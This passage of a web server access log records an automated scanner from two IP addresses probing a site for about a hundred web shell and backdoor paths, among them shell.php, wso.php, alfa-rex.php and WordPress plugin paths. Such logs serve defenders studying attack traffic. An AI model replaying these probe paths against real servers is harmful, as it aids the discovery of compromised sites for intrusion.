AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:01 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:01 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:01 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:01 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-includes/widgets/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:21:02 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:02 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:02 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/themes/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:03 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:03 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:03 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /la.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:04 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:04 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:05 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:05 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:21:05 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:05 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:06 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 